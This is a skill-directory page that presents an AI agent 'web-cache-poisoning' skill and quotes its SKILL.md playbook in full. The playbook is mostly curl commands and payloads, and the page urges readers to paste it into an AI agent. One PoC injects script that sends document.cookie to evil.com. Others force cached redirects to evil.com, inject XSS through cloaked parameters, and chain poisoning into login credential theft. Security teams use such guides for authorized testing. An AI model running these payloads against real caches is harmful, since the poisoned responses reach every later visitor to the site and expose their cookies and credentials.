web-cache-poisoning
What it does
This guide covers attacks where a shared cache stores a response shaped by an attacker, so later visitors receive it. It is for security teams who run caches and CDNs in front of web apps.
When to use it
- βWhen an authorized test wants to check whether a shared cache uses headers that the cache key ignores.
- βWhen a team runs a CDN and wants to confirm that forwarded headers are handled safely.
- βWhen a cached page reflects request headers into its content or redirects.
Skill link
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/web-cache-poisoning/SKILL.mdCopy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.
How to use
The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.
Ready-to-paste message
For Claude Code, Codex or Cursor: run it in your project folder and the skill gets installed.
Download the SKILL.md and drop it into your agentβs skills folder.
Example of what to ask your AI
βOur CDN caches pages for many visitors. Can you check whether any request headers can change what gets cached for everyone?β
5 new skills a week. 1 minute to read.
How it works
The agent checks the cache status signals, tests headers that the origin may reflect, and confirms whether a changed response is served to a clean request.
Technical content (original SKILL.md)
Original text by the author, straight from GitHub.
Web Cache Poisoning Playbook
Distinct from cache deception (tricking the cache into storing a victim's private response). Here, the attacker poisons the shared cache so every subsequent visitor receives an attacker-controlled response. Impact ranges from defacement β reflected-XSS-as-stored β forced-redirect β DoS.
1. Detection β find unkeyed inputs
Definition: an unkeyed input is a header/parameter the cache ignores when building the cache key but the origin reflects into the response.
URL="https://<TARGET>/"
# (1) Cache-status fingerprint β must see HIT/MISS to know caching exists
curl -s -D- -o /dev/null "$URL?cb=$RANDOM" | grep -iE "age|x-cache|cf-cache-status|via"
# (2) Suspect headers β reflect into body or Location?
for H in "X-Forwarded-Host: evil.com" "X-Forwarded-Scheme: http" \
"X-Forwarded-Port: 8888" "X-Forwarded-For: evil.com" \
"X-Host: evil.com" "X-Original-URL: /admin" \
"X-Rewrite-URL: /admin" "X-Forwarded-Server: evil.com" \
"Forwarded: host=evil.com"; do
echo "== $H =="
curl -s "$URL?cb=$RANDOM" -H "$H" | grep -E "evil\.com|8888|/admin" | head -3
done
# (3) Confirm poisoning β same URL twice, second request WITHOUT the header
curl -s "$URL?poison=1" -H "X-Forwarded-Host: evil.com" -o /dev/null
curl -s "$URL?poison=1" | grep -E "evil\.com" # if present β poisoned
2. Misconfig / technique matrix
| Class | Trigger | Outcome |
|---|---|---|
| Standard unkeyed header | X-Forwarded-Host: evil.com reflected into <link rel=canonical> or absolute URLs |
stored open-redirect / XSS |
| Scheme downgrade | X-Forwarded-Scheme: http reflected |
force-HTTP cache β MITM |
| Port confusion | X-Forwarded-Port: 1 reflected into JS asset URLs |
broken site DoS |
| Routing override | X-Original-URL: /admin, X-Rewrite-URL |
cached admin page served to public |
| Fat GET | GET with a body parsed by origin but unkeyed by cache | inject params via body |
| Parameter cloaking | ?utm=x&utm=<payload> β cache normalizes, origin doesn't (or vice-versa) |
poisoned param survives |
| Key normalization flaw | cache lowercases path, origin doesn't (or strips ;jsessionid) |
desync key vs. response |
Cache-key injection via Vary gap |
response varies on header cache doesn't include | per-attacker poisoning |
| HTTP/0.9 / smuggling-assist | downstream cache stores smuggled response | mass poisoning |
| Cache-Control overlap | origin returns Cache-Control: private, CDN ignores it |
private response cached globally |
| Oversized-header DoS | huge unkeyed header β origin 400, CDN caches 400 | denial-of-service on the URL |
| 404 / error caching | error page cached with attacker payload reflected | DoS + stored XSS |
3. Exploit PoC
3.1 Stored-XSS via unkeyed Host
# Origin reflects X-Forwarded-Host into <meta property="og:url">
curl -s "https://<TARGET>/?cb=$RANDOM" \
-H 'X-Forwarded-Host: a"><script>fetch("https://evil.com/?c="+document.cookie)</script><x="'
# Verify cache HIT for the next visitor:
curl -s "https://<TARGET>/?cb=$RANDOM" | grep -o 'evil\.com'
3.2 Forced redirect
curl -s "https://<TARGET>/login?cb=$RANDOM" -H "X-Forwarded-Host: evil.com" -o /dev/null
# Subsequent victims:
curl -sI "https://<TARGET>/login?cb=$RANDOM" | grep -i location
# β Location: https://evil.com/login (cached for the TTL)
3.3 Param-cloaking poison (Ruby/Rails-style last-wins vs. CDN first-wins)
curl -s "https://<TARGET>/?utm=clean&utm=%22%3E%3Csvg/onload=alert(1)%3E"
4. Chains
- Cache poisoning β stored XSS: reflected XSS upgraded to mass-victim impact via cached response.
- Cache poisoning β ATO: poison
/loginto send creds to attacker via swapped form action. - Cache poisoning β SSRF: poison API responses an internal job consumes.
- Smuggling β cache poisoning: HTTP request smuggling stores arbitrary attacker response globally.
5. Tools
- Burp Suite β Param Miner extension (Hackvertor + cache rules) β the canonical tool
cache-poisoningpayload lists (PortSwigger research)httpx -follow-redirects -title -tech-detectfor fingerprinting Vary/X-Cache
6. Detection signatures & OPSEC
| Indicator | Detection method | OPSEC note |
|---|---|---|
Repeated X-Forwarded-* permutations on one URL |
WAF rule / access log | Cache-bust with ?cb=$RANDOM per probe; do NOT poison shared paths during tests |
| Sudden cache HIT containing attacker host | CDN log rev |
FAQ
How is this different from cache deception?
The guide says cache deception stores a victim's private page, while poisoning changes what the shared cache serves to everyone.
What is an unkeyed input?
It is a header or parameter the cache ignores when building its key, but the app still uses in its response.
What impact does it have?
The guide says impact can range from defacement to redirects and cross-site scripting.
Details
Original description by the author
Unkeyed-input cache poisoning β X-Forwarded-Host/Scheme/Port, X-Original-URL, fat-GET, parameter cloaking, oversized-header DoS, and chains to stored-XSS / open redirect via shared caches.
Popularity
- GitHub stars
- 6.5k
- Ranking position
- #14085
- License
- Apache-2.0
- Updated
- 11/1/2026
Comments
- β¦
More skills from this repository
detector-overview
6.5kHelps your agent read code that a scanner flagged and decide which flagged spots are real security bugs and which are false alarms.
exploiter-overview
6.5kHelps your agent join several confirmed security weaknesses into one test chain and check how far that chain could reach.
llm-redteam-overview
6.5kHelps your agent find the right AI red-team guide for a test, covering 15 tactic groups from prompt injection to model abuse.
aatmf-t01-prompt-injection
6.5kExplains prompt injection, where hidden instructions try to override an AI system, so security testers can check for it.
Similar skills
reverse-engineer-anything
422kHelps your agent look inside shipped apps and packages to explain features, compare versions, or guide a rebuild, using the REA tool.
1password
394kHelps your agent set up the 1Password CLI, sign in, and read or inject secrets without printing their values into chat.
healthcheck
394kHelps your agent audit the computer or server that runs OpenClaw for security risks, such as SSH, firewall, updates, and backups, then suggest safe fixes.